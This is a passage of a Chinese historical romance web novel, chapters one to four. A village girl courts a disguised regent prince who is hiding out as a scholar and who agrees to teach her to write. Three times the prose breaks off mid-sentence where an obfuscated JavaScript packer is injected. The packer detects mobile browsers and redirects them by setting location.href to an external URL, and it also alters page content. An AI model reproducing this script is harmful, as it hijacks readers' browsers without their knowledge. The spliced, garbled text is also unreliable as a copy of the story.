《误娇色》 1. 第 1 章 初夏的风里裹挟着暑气,站得久了,日头晒得人有些发昏。阮莹抬手用帕子擦去额角的汗,寻了个绿荫处,在河岸边坐下。 微风拂动柳枝,带来丝丝清凉,河面泛起微微的涟漪,待涟漪平静下来,清澈的河水映出一张朱唇轻咬的美人面。 黛眉微弯,勾出一双含情的杏眼,香腮胜雪,面若桃花,琼鼻挺翘,丹唇红润。乍一看,只觉仿若仙子。 只可惜,仙子身着朴素,身上的衣裳是前几年的式样了,布料也是最下乘的,就这,还是阮莹攒了四个月的钱才咬牙买下的。 乌黑亮丽的秀发一半绾起,一半垂落在肩头,发上唯一的首饰,是两支银簪,一支雕牡丹花,另一支雕青鸟。白皙的脖颈上空空如也,细嫩的手腕上坠出一只手串,也是不值钱的玩意儿。 漂亮的眸眼中浮现出一层忧虑,阮莹垂下眼眸,拨了拨手中的串子,耳边浮现今早阮九说的话:“别做你的春秋大梦了,咱们这地方,祖上八辈子连个七品芝麻官都没出过。你要是不肯嫁给金宝,那就嫁给赵员外当第八房小妾。” 她爹恶狠狠地撂下话,摔门而去。 金宝是镇子上的屠户,继承了他爹杀猪的手艺,猪杀得倒是麻利,可人却长得又黑又丑,木讷无趣,半天说不出一句话来。阮莹常去他家买肉,每回金宝都会多给她一些肉。可阮莹并不喜欢他。 至于那赵员外,更不必提了,虽说是金水镇的有钱人,可六十多的年纪都能做阮莹的爷爷了。阮莹和他见过几回,每次他都色眯眯地盯着自己瞧,叫人恶心。阮莹简直都能闻到他身上的老人味,一股腐朽的、被棺材盖住半截的气息,阮莹才不要嫁给赵员外做他的第八房小妾,否则没几天就要守寡。就算不守寡,守着这么一个老不死的色鬼,也只会蹉跎一生。 阮莹自幼就知道自己生得漂亮,从小到大,见过她的每个人都会夸她是美人胚子。等她长大,更是十里八乡出了名的美人,将其他姑娘远远地比下去了。上天既然赐给了她美貌,她便不能浪费这美貌,嫁给一个杀猪的,或者是做老色鬼的小妾。她生得这样漂亮,应该做王妃,再不济,也应当做个三品大官的太太。 阮莹从手边捡了片叶子在手里作弄,心里打定了主意,对于她的婚事她不会妥协,她不要永远被困在金水镇。 只是她也知道,她的时间不多了。 阮莹今年三月刚过了十九岁生辰,在他们这小地方,她这年纪已然算得上老姑娘,旁人家的姑娘多是十四五岁就定下亲事,嫁了出去。她拖到十九,没什么旁的原因,是她自己眼光高,瞧不上金水镇的男人。那些男人,要么长得丑,要么没出息,阮莹看不上他们。 可她爹说的话也有道理,他们这地方,祖上八辈子连个七品芝麻官都没出过,她也不知道自己要去哪里找一个有出息的男人嫁。想到此处,阮莹一声迷惘又不甘的叹息。 阮莹咬了咬唇,将手里揉烂的叶子扔进河里,起身往家走。 回家的路上,阮莹看见自家隔壁空着的院子里竟热闹地站着几个人,看装束像是外乡人。 隔壁那屋子是老陈头家的,从前是老陈头的儿子和儿媳妇在住,前几年老陈头的儿子和儿媳妇搬到了城里,那屋子就空了下来,有几年了。 她一时好奇,走近了些,看见老陈头满面笑容,在和一个高大的男人说话,不知道说了些什么,老陈头笑得更开怀了,脸上褶子都挤作一团。 阮莹在外头等了等,没一会儿,老陈头从院子里出来了,脸上还挂着散不去的笑容。阮莹赶紧把人拦下,询问情况。 老陈头笑了笑,答阮莹的话:“有个外地来的书生,说是想安心读书准备科考,要租我这房子住,一个月给五贯钱呢。” 老陈头手指张开,比了个五,说起此事,脸上的笑容更是漫开。他的儿子儿媳妇都有出息,搬到城里去做生意了,原也要接他一起去,他舍不得镇子上这点屋舍没答应,谁能料到还有今日发财的机缘。 在金水镇租赁屋子,惯常不过一个月五百文钱,这书生竟肯一个月给五贯钱,出手如此阔绰? 阮莹闻言惊诧不已,不由得多打听了几句:“书生?哪里来的?多大年纪啊?” 老陈头摇了摇头:“这我没问,人家租我的房子,给了钱就行,我不问这么多,省得人家嫌我多事。年纪么,那公子挺年轻的,瞧着也就二十四五,长得很俊秀,衣着打扮很是贵气,说不准啊,真能考上。考上了好啊,考上了也能让我沾点光。” 老陈头说完,笑呵呵地走了。 阮莹踮脚往那院子里张望,可惜围墙拦住了她的视线,什么也看不见。 她想到老陈头说的话,出手阔绰的俊秀书生,贵气,赶考。她一时心里涌出个念想,若这书生高中,她不就能做官太太了么? 想到此处,阮莹有些激动。莫非这就是上天赐给她的机缘?那她可得好好把握住。 阮莹暗暗收回视线,归家去。 回到家中,阮九不在,阮莹径直奔向厨房,撸起袖子揉面。她打算做个绿豆糕,借机去隔壁搭讪,至少先了解一番情况,俗话说得好,吃人嘴短。 因着阮莹总觉得自己日后能飞上枝头变凤凰,平日里便也爱研究些精致的点心,阮九一向对此嗤之以鼻,阮莹心想,今日可不就派上用场了。阮莹仔细洗了手,揉起面来,她比往常都做得用心,等差不多做好,已经过去一个时辰。 阮莹小心翼翼寻了个食盒,将绿豆糕装在小碗里。她从厨房出来,舀水洗过脸,又对着铜镜梳洗一遍,将自己每一寸头发丝都整理过,这才拿起食盒,往隔壁去。 - 裴时瑾在院子里转了一圈,还算满意。倒是他身边的长林皱起眉头,有些担忧:“王爷,这里未免太过简陋,要不咱们还是寻个更舒适的住处吧。” 他们王爷这样尊贵的身份,怎么能住在这种地方呢? 裴时瑾淡声说:“不必,这里就挺好的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559800|171351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比起军营里,已经不算简陋。” 长林一时哑然,他倒是忘了,从前王爷也是领兵打仗的,不是娇气的人。他叹了声,妥协道:“那王爷看看,可还有什么缺的,属下马上去采买。” 裴时瑾瞥他一眼,纠正他的称呼:“这里没有王爷,只有一个普通的书生。” 长林当即改口:“是,公子。” 长林一顿,又问:“公子,咱们要在这里住多久?您身上的伤……” 长林担忧地看向裴时瑾的左手,叹了声,若非王爷旧疾复发,那刺客怎么可能伤得了王爷? 长林咬了咬牙,愈发气愤道:“太后实在太过阴险,小的只恨不得杀了她。” 裴时瑾碰了碰自己隐隐作痛的左手,敛下长眸。 长林还在愤愤不平:“她只怕您威胁到她儿子的地位,您已经做出了这么多退让,她仍然不肯罢休,此番甚至想要您的性命。王爷,依我看,您不如索性随了她的心意,将这皇位收入囊中……” 裴时瑾打断长林的话:“够了,我心里有数,你下去吧。” 长林只得咽下未尽的话,退了下去。 “是,公子。” 裴时瑾在此算是隐居,带的人太多反而招人注意,他只带了长林和剩下几个心腹,对外只说是他的家仆。他们同时负责照顾裴时瑾的起居,也保护裴时瑾的安全。 阮莹站在门口,抬手叩门:“请问有人在吗?” 她掐着嗓音,温柔婉转。 不多时,门被人打开,从里面露出一张略有些凶神恶煞的脸,好像鹰一般犀利的眼神顿时将阮莹盯住,她身形一僵,才想起自己要说的话:“听说你们刚搬过来,我做了些绿豆糕给你们尝尝。我就住在隔壁,你们初来乍到,要是有什么需要我帮忙的,尽管开口。” 她指了指自己家的方向,把手里的食盒拿出来,挤出一个笑容。 在长林打量她的时候,她也在偷偷打量长林。长林身材魁梧,看起来并不像是书生,阮莹一时心里犯嘀咕。 长林审视地打量着面前的女子,并不打算接受她的好意,冷冷地拒绝:“不用了,多谢。” 他们王爷的安全尤为重要,闲杂人等最好少见。 长林正要关门,身后裴时瑾唤住他:“长林,不得无礼。” 阮莹原本被长林的凶冷吓到,骤然听得一句清冷的嗓音传来,一时心头一震,她抬眸,看向缓步走来的男人。 男人一袭深蓝色长衫,身影挺拔,好似松又似竹,阮莹登时想到老陈头说的贵气,心道这老陈头还有几分眼力劲,说得果真不假。 她有些惊喜,再定睛看向男人的面容。男人长身鹤立,五官大气而端正,唇薄而有型,长眸疏淡而多情,淡淡一眼便让阮莹顿在原地。 真是好生俊俏的一张脸,将金水镇的任何一个男人都甩八条街。 她心中喜道,这般相貌,与她正好般配,他们二人不正是天造地设的一对么? 2. 第 2 章 阮莹回过神来,笑说:“这位公子,我是住在隔壁的邻居,听说你们新搬过来,特意做了些绿豆糕给你们尝尝。日后你若是有什么需要帮忙的,尽管开口找我。” 她把食盒递给男人,将自己的笑容端得落落大方,一双好看的眼睛直勾勾地将他盯住。 她往常用这套对付金水镇那些男人,可是绰绰有余。可面前的男人却只是淡淡地道了声谢,给身边的人使了个眼色,那被唤昨长林的人终于伸手接过阮莹的食盒,只是仍一脸的不情愿。 阮莹顿时有些挫败,还是打起精神,维持着唇边的笑意:“哦对了,我叫阮莹,晶莹剔透的那个莹,不知这位公子如何称呼?” 裴时瑾道:“在下姓裴。” 阮莹便笑着唤了一声:“裴公子,那我就不打扰你了。” 她察觉出了男人的疏离态度,虽不似他仆从那般冷硬的拒绝,可显然对她并不热络。她心中的失落蔓延开,踏进自家院子,倚在树下一时沮丧。 她生得不够漂亮么?他怎么都不曾多看她两眼呢?平常那些男人她多看他们几眼,他们都会像摇尾乞怜的狗一般扑上来献殷勤的呀。阮莹拨弄着自己垂落的青丝,在食指上绕着圈,转念又想,这岂不说明他是个正人君子,不似那些人一般肤浅。 没关系,她长得这么好看,他总会喜欢她的。 阮莹心情由阴转晴,哼着歌儿回到自己房中,在铜镜前坐下,又摆弄起梳妆来。她打开一个小盒子,里头是她自制的胭脂,用花瓣做的,那些千金小姐就会买这些胭脂水粉涂,她买不起这么多,便只好自己做。她喜欢把自己弄得香香的。 一墙之隔的院子内,长林正不解询问:“公子,咱们才刚搬至此处,这女人便上门来搭讪,谁知道她是不是别有所图,这女人身份不明,您怎能见她呢?” 裴时瑾道:“看她装扮,的确是住在隔壁的邻居。不论如何,咱们始终要在这儿住上一段时日,若是太过孤僻,反而惹人怀疑,日后邻里有人来往,你正常对待便是,不必草木皆兵。我们的行踪没那么快有人知道,消息传回京中需要些时间。” 长林皱着眉头,还想再说些什么,反正他觉得方才那女子目的不纯。只是觉得自家公子已经发了话,长林也只好应下,他低头看向手中的食盒,又问:“公子,那这东西如何处置?” 裴时瑾道:“既然是邻居的好意,你们分了吃便是。明日你从我带的东西里寻个合适的,送去隔壁,就说是咱们的回礼。” 长林只好将阮莹送来的绿豆糕拿下去给他们几个分吃了,阮莹手艺不错,他们几个吃了之后竟还感慨说,这位阮姑娘的手艺比得上王府的厨子。长林对阮莹印象不佳,他并没吃阮莹带来的绿豆糕,听他们称赞,冷哼一声道:“我看那女人目的不纯,方才她看公子的眼神就不对劲。” 长明不以为意:“咱们公子贵气俊秀,在京城便俘获了不少女子的芳心,那姑娘见到咱们公子一时心动也寻常。” 长林轻嗤一声,将给阮莹送回礼的任务转交给了长明。 裴时瑾折返房中,在三足圆凳上坐下,他按了按自己有些麻木的左手,想到长林的话。 此番他们遇刺,是当今太后所为,他明白。当今太后,曾经裴时瑾唤一声四嫂。裴时瑾排行第九,先帝是他四哥。 裴时瑾的生母是一介歌姬,身份卑微,承宠也只因父皇一夜酒醉。父皇并不喜欢裴时瑾的生母,那一夜之后,再不曾临幸过她,只给了她一个最低的位分。可她却因那一夜有了裴时瑾,后来生产之时,血崩而亡。裴时瑾一生下来,便被其他皇子们瞧不起,只有先帝待他有兄弟情谊。 先帝是温润性子,待谁都和善,待他更是极好,吃穿都记着他,若是他被欺负,也会护着他,替他出头。连去军营历练的机会,也是先帝替他争取来的。他始终记着这份情谊,在军中努力地打胜仗,崭露头角,父皇渐渐注意到他,开始宠爱他,朝臣也发现原来还有一位九皇子。 尽管如此,他从来没想过和先帝争那个位子,甚至后来父皇驾崩,他力保先帝上位。可或许上天不眷顾好人,先帝即位后没几年,便因病去了。临死之前,先帝说对不住他,希望他能继续辅佐太子登基,封他为摄政王。 裴时瑾答应了,先帝于他有恩情,他不会忘记。他辅佐太子登基,认真教导,哪怕太后猜忌,几次三番地打压,他也不曾忘记过自己的诺言。但此番太后派人刺杀他,刺客刀刀狠辣,明显奔着他的性命而来。 裴时瑾闭上眼,重重一声叹息,四哥待他恩重如山,哪怕他的妻子要他的性命,他也愿意再给他们一次机会。这一回他会在这里多留些日子,将朝政上的事交还给新帝,只要新帝能好好治国,他会从此隐退。 - 阮莹收到裴公子回礼,甚是欣喜。她接过东西,笑吟吟看向面前的仆从,今日这位和善许多,不像昨天那位一般凶神恶煞。 长明被这么漂亮的姑娘盯着,挠了挠头,有些羞涩道:“这是我们公子从京城带的特产,给姑娘昨日的回礼。说起来,姑娘的手艺真好,那些点心很好吃。” “这怎么好意思,你家公子太过客气了些。”阮莹笑着,心里却为京城两个字激荡。原来这位裴公子还是京城人士,想来家世不凡,即便考不中,下半辈子应当也能享富贵。 阮莹眼眸流转,笑意更浓:“你家公子既是京城人士,为何会来我们这穷乡僻壤?可是为了发奋读书?” 长明一时被问住了,想到昨日公子吩咐过的话,回答阮莹:“正是如此。” 阮莹心下有了主意,再度笑意吟吟看向长林:“裴公子如此努力,定然会高中的。那个,我……想写一封信,可是我不会写字,我可以请裴公子帮忙么?会不会很打扰?” 长明当即替自家公子应下:“当然可以,小事一桩。” 长明这一去时间有些久,长林皱起眉,正想着此事,便看见长明回来了,只是身后还跟着阮莹。 长林有些不悦,低声问:“你把她带回来做什么?” 长明说:“阮姑娘想让公子帮忙写封信。” 长林冷笑一声:“你还做起公子的主来了,公子忙得很,哪有这么多时间做这种闲事。” 长明不理会长林的冷淡,径直进去禀报裴时瑾,让阮莹稍等片刻。 长林和阮莹面面相觑,并无好脸色。阮莹始终笑着,一副纯良的模样。 阮莹不动声色地将这院子环顾一圈,院子里除了那位裴公子和他的四个仆从,连个婢女都不曾见,想来这位裴公子当真是发奋读书。不过这些仆从都是男人,男人哪里会照顾好人呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559801|171351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想来日后她可以借此机会多多接近。 阮莹正想着,那厢听见长明的话:“阮姑娘,你快进来吧。” 正是晌午,院子里有棵十几年的柿子树,日头从浓密的叶子缝隙里往下落,裴时瑾从房中走出来,视线落在阮莹身上。长明进来禀报,说她想让自己帮忙写封信,这是小事,他倒不介意帮忙。 阳光将少女的面庞照得晶莹剔透,仿佛一朵水晶牡丹,少女莲步轻移,从树荫下穿过,停在他跟前。她的面容姣好,身段玲珑有致,在这小地方有这等佳人,的确有些意外。不过裴时瑾对这些事并无兴致,虽有一丝惊艳,只任由它闪过,并不往下细究。 阮莹盯着他的眼睛,嘴角始终挂着笑:“裴公子,打扰了。” 裴时瑾转身进门,只道:“无妨。” 阮莹跟着他的脚步跨进房中,余光将房间里的陈设扫过一遍。一张四折屏风隔出内外两间,里间看不清,外间一张四方长桌案,一张矮榻,一张圆桌配四只小凳。桌椅这些应当是老陈头家里原先就有的,但书桌上的笔墨纸砚显然是这位裴公子新添的,阮莹虽然不识货,也能一眼看出那笔墨纸砚都是好货色。真正的好东西即便不懂行的人看见,也能分辨出来。 裴时瑾在桌案前坐下,长明当即上前铺开纸张,研磨墨水。裴时瑾抬手执笔,看向阮莹:“姑娘要写什么?说与我听便是。” 阮莹咬了咬唇,看了眼长明,露出些羞赧的表情:“裴公子,我能不能只说给你一个人听?” 裴时瑾让长明退了下去,房中只剩下他们二人,支摘窗敞着,金色的光辉从树叶之间漏进房中,树影正落在阮莹身前。 她嗓音如黄莺啼鸣:“裴公子,我是想给我娘写封信。就写:娘,你过得好吗?我和爹过得很好,我很想你,爹也很想你。你要照顾好自己。阿莹。” 裴时瑾听着她的话,一句句跟着写。他的字遒劲有力,阮莹虽不认识字,也觉得好看,只是有些奇怪,总觉得这字很有力量,不大像柔弱书生写的。不过她不懂这些,也没有多想。 她的目光渐渐从字,转到裴时瑾的手上。他的手掌很大,手指骨节分明,很是好看。 阮莹夸道:“裴公子的字写得真好看。” 裴时瑾没有接话,只有笔尖落在纸上的细碎声响。 不多时,裴时瑾搁下笔,待墨水干了些,将信纸递给阮莹,让她验看。阮莹轻咬下唇,道:“我不识字的。” 裴时瑾道了声抱歉。 阮莹摇摇头,将信纸小心收好:“其实我也想念书识字,只不过我们这地方,不兴这些,姑娘家都是到了年纪就嫁人。我爹也不同意让我念书识字。” 她捧着那张书信,忽然想到什么,眸中发亮,看向裴时瑾:“裴公子,你……你能教我识字么?不会浪费你太多时间的,我很聪明的,我可以给你束脩。” 裴时瑾下意识便想拒绝,他不过在此暂且住下,过一段时间就会走,并不想与这里的人有太多牵扯。可眼前的少女眼神满含期待地望着他,仿佛他说一句不,她就会当场落泪似的。 阮莹又往前走了一步,距离裴时瑾更近,近到裴时瑾可以嗅到她身上的幽香,淡淡的,却很好闻。 “裴公子……” 裴时瑾别开视线,听见自己轻嗯了声。 3. 第 3 章 话音落地的下一瞬,眼前的少女便猛地扑了上来,竟是一把抱住了他。她柔软的峰峦顿时贴在他胸口,很奇异的触觉,连带着她身上的幽香一股脑地扑来,将他层层围住,一时间让裴时瑾有些无措。他从未与女子有这样亲近的时刻。 怔愣之际,少女已经往后退开,胜雪的肌肤染上一层粉色,整个人顿时好像一颗熟透的水蜜桃,她似乎意识到自己方才的举措不合时宜,嗫嚅着解释:“对不起,裴公子,我方才太兴奋了,不是故意冒犯你的。你不要生气。” 裴时瑾眉头微压,但她似乎的确只是无意,他终是道了一句:“无妨。” 见他原谅自己,阮莹的唇角再度弯起,一双笑眼看着裴时瑾:“裴公子,你真好。哦对了,束脩,需要多少?” 裴时瑾不缺钱,道:“不用了,举手之劳。” 阮莹坚持:“可我不能白白耽误你的时间,你放心好了,我有攒下一些钱的。” 为了证明自己说的是真的,阮莹微微偏过身,低头从自己的胸口处小心翼翼取出一个小巧精致的藕粉色荷包。她将荷包层层打开,从里面取出几枚铜钱,给裴时瑾看。 她虽然有意避开裴时瑾,但她的身躯瘦小,其实并未挡住什么,裴时瑾看见了她的动作,知道她是从何处取出那些铜钱的。他微微敛眸,正欲拒绝,阮莹已经抓住他的手,将那些铜钱放在他手心里。 她的手有些凉,在他温热的手上交覆过片刻后离开,她的手也是柔软而细嫩的,而裴时瑾的手却是糙粝的。他在军中待了七八年,手上有厚重的茧子。那些铜钱本该是冰凉的,此刻却是温热的,是被她的体温暖热的。 裴时瑾想到什么,手指微屈,只觉得那些铜钱仿佛一瞬烫手。 “不用……”他正欲把钱交还。 阮莹先开口打断:“这些够吗?若是不够,我家中还有些。” 裴时瑾怕她还要再给,忙道:“够了。” 阮莹露出感激的神色,双手交叠在胸前,手中还握着那个荷包,道:“真是多谢你了,裴公子。不知裴公子何时有空可以开始?” 裴时瑾说:“明日吧。” 阮莹笑说:“那好,明日我过来。那我先走啦,裴公子,明日再见。” 裴时瑾嗯了声,目送少女的背影走出房中,到了院子里,风浮动光影,将她的背影送得渐渐远了。 裴时瑾收回视线,落在自己手心的铜钱上。它们还残留着少女的体温似的,淡淡的温热,手背上是淡淡的凉意,胸口是淡淡的柔软,仿佛串成一条若隐若现的脉络,缠绕在他心头。 思忖片刻,裴时瑾转身,将那些铜钱收进盒中。 阮莹回到家,不禁偷笑,她就知道没有人会拒绝她的。她将那封信展开,重新看了一遍,虽然不识字,但也觉得心里甜甜的,这是一个好的开始。阮莹把信再次叠好,收进自己的小匣子里。 次日上午,阮莹好生装扮了一番,往裴时瑾院中去。 长林似乎得到了裴时瑾的吩咐,虽说见到她时面色不悦,却没说什么,只是让她进了院中。 阮莹并非空手而来,今日又做了些别的糕点,先分给了他们几个。 “这是我自己做的,你们尝尝。” 其他几人都接受了,唯有长林没有。阮莹也不气恼,拎着食盒去找裴时瑾。 “裴公子。”阮莹含笑唤他。 裴时瑾在窗下负手而立,听见阮莹的声音转过头。 阮莹将食盒搁在桌上,打开,取出其中的点心:“裴公子,这是我亲手做的点心,你尝尝吧,就算是我答谢你的一点心意。” 裴时瑾本想说不用,他不爱吃这些,可话还未及说出口,阮莹已经拿着一块点心喂到他嘴边。她又是那副满含期待的神色,一双好看的眼睛莹润柔情,直直地望进他眼底。 裴时瑾只好就着她的手轻咬了一口,而后赶紧从她手中拿过那块点心。他往后退开一步,拉开与她的距离。 阮莹好似没发现他的后退,仍是笑意吟吟地凝望着他,问好不好吃。 阮莹手艺的确不错,裴时瑾轻嗯了一声。 阮莹得到他的肯定,笑眼弯弯:“裴公子喜欢就好,你喜欢的话,以后我天天都给你做。” 裴时瑾赶紧说:“不用麻烦。” 阮莹却说:“一点也不麻烦,你若是不肯要,我才觉得心里过意不去呢,毕竟耽误了你的时间。” 她回身,看向裴时瑾的书桌,“裴公子,我们现在就开始吗?” 裴时瑾嗯了声,将那块点心咽下,行至桌边,示意阮莹坐下。 阮莹在椅子上坐下,有些跃跃欲试。裴时瑾拿起笔,阮莹也跟着拿起笔。 裴时瑾问:“你想先学什么?” 阮莹说:“学写我的名字,可以么?” 裴时瑾嗯了声,在纸上写下阮莹二字。 阮莹歪头盯着他的动作,瞧得仔细,可轮到自己还是犯难。她抓着笔杆,歪歪扭扭地依葫芦画瓢,勉强写出了自己的名字,只是实在算不得好看,尤其与旁边裴时瑾写的对比,更是不堪入目。阮莹有些羞赧:“裴公子的字写得真好看,我的么……” 裴时瑾看向那两个歪扭难看的字,鼓励她道:“多写多练你也会写得很好看。” 阮莹点头:“裴公子放心,我一定会写得很好看的,不会让裴公子丢脸的。” 裴时瑾没有应声,心思有些飘远。 他当年是个不受宠的皇子,旁的皇子都有师傅教导读书习字,他却是先帝教导的。那时候,他写出来的字,也如同阮莹一般歪扭难看,他心中羞窘,先帝亦这般鼓励他:已经很好了,多多练习之后一定会更好看。 阮莹并未察觉到他的走神,她正一次又一次地练习着写自己的名字。待裴时瑾回过神来,阮莹已经有了很大进步。虽说仍是不大好看,但字体已经变得很是端正。 因为方才那点走神,裴时瑾对阮莹的态度更为软和。他夸道:“嗯,已经很好了。” 阮莹听见他的话,嘴角的弧度翘得更高。可单纯学习写字不是她的目的,阮莹垂下好看的眸子,握着笔的手松了松,疑惑道:“裴公子,我总觉得我握笔的姿势是不是不太对?你帮我看看,好么?” 她将自己的手往裴时瑾跟前送,因着要抓握笔,她的衣袖往下耷拉下去,露出一截细嫩的小臂,白得仿佛晃人眼睛。裴时瑾移开视线,落在她手上。 她握笔的姿势的确有些不对,太靠下,抓握的姿势也不对。裴时瑾指出她的问题,阮莹若有所思,试图按着裴时瑾说的改正,可试了几遍,还是不对。她有些急了,眼眶染上一层红色,“我怎么这么笨……” 似乎下一句,就要哭出来。 “裴公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559802|171351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,你能不能手把手教我……” 裴时瑾可不擅长应付女人哭,他握住她的手,手把手教她该怎样握笔,纠正她的姿势。 他宽厚的手掌整个将阮莹的手包裹住,阮莹感觉到他手心里传来的灼灼热意,她似乎全神贯注看着自己握笔的姿势,似乎压根没有注意到自己的后背贴在了裴时瑾的胸膛。 少女的身体柔软娇盈,身上始终散发出阵阵幽香,仿佛一颗熟透的水蜜桃散发芬芳,引诱人前来采撷。裴时瑾嗅到了她身上的香味,微微低眸,她青丝垂落肩头,露出半截雪白的后颈肌肤。 裴时瑾从前在军中多年,战场上杀人如麻,从不手软,即便离开军中有两三年,他在军中留下的虎狼血性并未更改,此刻那抹柔软的白色,便仿佛激发了他的虎狼之性,让他隐隐有种冲动,想在这细嫩脆弱的脖颈上咬上一口。这样细嫩而脆弱的后颈,只需要一口,便能咬断。 裴时瑾意识到自己在想些什么时,好看的眉眼微微敛起,移开视线,正欲退开一些。可手却被少女柔软的手拉住,她抬起头,对身后的危险毫无察觉,仍用一双天真的眼眸把他望着,笑吟吟唤他:“裴公子,你看,是不是这样子?” 裴时瑾看向他们交握的手,轻嗯了声。 阮莹笑了起来,随即又露出些不解的神色,轻声说:“不过我好像还是没有太学会,裴公子,你再教我一下,可以吗?” 她松开了手,裴时瑾原本要后撤的手,再次将她小巧的手包裹住。 裴时瑾只握过男人的手,在战场上,在军营里,都是男人,和男人握手是很寻常的事。男人的手多是粗糙而硬实的,骨头也更大一些,而阮莹的手却柔滑细嫩,像一块易碎的豆腐,骨架小小的,被他包在掌中。 窗外的微风吹得树叶轻轻响动,阳光在斑驳的树叶之间散发出点点光芒。裴时瑾握着阮莹的手,到底是炎炎夏日,二人交握的手渐渐生出些汗意,他松开阮莹的手,夸道:“你已经学得很好。” 阮莹轻嗯了声,唇角翘得高高的,埋首练习写自己的名字。 过了一会儿,阮莹将自己的名字写得很熟练了,她忽然抬头问:“裴公子,你可以教我写你的名字么?” 裴时瑾怔了怔,没有拒绝。他拿起笔,在纸上写下裴子玉三个字,教她写。 子玉是他的字,还是先帝给他起的。 阮莹看向那三个字,若有所思,忽而唤了声:“子玉哥哥。” 裴时瑾看向阮莹。 “我以后可以这么叫你么?总觉得裴公子太过生疏。”她怯怯抬头,似乎极为怕他拒绝。 其实他们的关系应该生疏,裴时瑾忽地有些懊恼,或许昨日便不该应下帮她的忙,更不该应下教她写字。 见他沉默,阮莹垂下了莹润的眸子,小声问:“是不是我太冒犯了?”她语气里的失望显而易见。 裴时瑾虽然看不见她的脸,眼前却仿佛浮现出她眼眶红红泫然欲泣的模样,他抿了抿唇,终是妥协:“没有冒犯。” 他微不可闻地叹息:“只是从来没人这样唤过我。” 他幼时身份卑微,无人看得起,后来去了军中,战场上只有生生死死的大开大合,男人之间称兄道弟,更不会有这般小意温柔的。再后来他回到京城,倾慕他的女子倒是不少,但也没有人这般唤过他。 阮莹是第一个。 4. 第 4 章 阮莹有些意外,但听他的意思是没有拒绝,她又露出欣喜的神色:“那……那我日后便这么唤你,子玉哥哥。” 她嗓音柔婉多情,这一声子玉哥哥仿佛羽毛落在裴时瑾心头,挠起些微的痒意。他微曲手指,轻嗯了声,算是回应。 阮莹似乎很欣喜,轻微的小调哼声从她唇齿间飘出,但只有两句,便没了。她清了清嗓子,低头继续认真写字,写他的名字,裴子玉。 子玉两个字简单好写,裴字笔画多些,她写了好几遍,总是写得不太好。阮莹抿了抿唇,看了眼旁边裴时瑾写的范例,继续写。 她写得认真,裴时瑾便没有打扰。 裴时瑾对外说是书生,可他自己在文学这一方面的造诣并不算高,在武学上更擅长,不过教一个初学者应该绰绰有余。 他自己的脾性冷硬沉闷,其实不适合教别人,先帝的性子才更适合做老师,先帝教导他时总是很有耐心,不会因为他弄错或者学不会而怪他。那时候先帝与太后已经成婚,太后总是温柔,与先帝很是般配。 裴时瑾微蹙剑眉,现在的太后,与他记忆中的太后判若两人,让他觉得有些陌生。从何时开始变化的呢?权力当真会叫人面目全非么? 那个至高无上的位置,人人都想争,裴时瑾当然也想。他幼时受尽白眼,最明白权势与富贵有多重要。 若是少帝堪当大任,他愿意退隐,可若是少帝不堪呢?裴时瑾垂下眸,一时心里没有答案。 裴时瑾回过神来,骤然听得阮莹在轻声念他的名字。 “裴子玉,裴子玉,裴子玉……” 裴时瑾看向阮莹,下一瞬瞧见她面露欢喜,激动唤他:“子玉哥哥,你看。” 她举起面前的纸张给他展示自己方才的成果,裴子玉与阮莹两个名字并列一处,尽管与裴时瑾的字比起来相差还很远,但已经算不错。 裴时瑾点头回应:“很好。” 阮莹唇角弯弯,她笑起来的时候眼睛亮晶晶的,叫人看在眼里也觉跟着高兴似的。 裴时瑾又教了她几个字,她毕竟初学,不好教得太多,慢慢来。阮莹的确还算聪明,很有悟性,学得都不错。不知不觉,已经是用中午饭的时辰。 阮莹要回家给阮久做饭,她还未学得尽兴,有些依依不舍地告辞。 “子玉哥哥,那我明日再来学。”阮莹笑着说。 裴时瑾应了声好,让长明送她出去。 阮莹走后,裴时瑾回到桌案前,她写过的纸张还在桌上摆着,七八页纸,最上面那张还是他们俩并列的名字。裴时瑾将纸收好,视线一低,瞥见桌案底下一抹藕粉色闪过。 裴时瑾俯身拾起,发现那抹藕粉色是一个荷包。裴时瑾还记得这个荷包,昨日它被阮莹从胸口的衣领中取出,似乎被她不小心遗落。 思及此,裴时瑾仿佛记起昨日残留在他手心里的温度,他喉头微动,将荷包搁在桌案之上。想必她会发现自己丢失了荷包,明日自然会来取走。 裴时瑾没有再动那个荷包,任由它躺在自己的桌案上。那枚粉色荷包一看便知是女子物件,在他桌案上显得格格不入。裴时瑾在桌案前坐了会儿,愈发觉得那枚荷包太过突兀,倘若长林他们进来瞧见,只怕会引起不必要的误会。 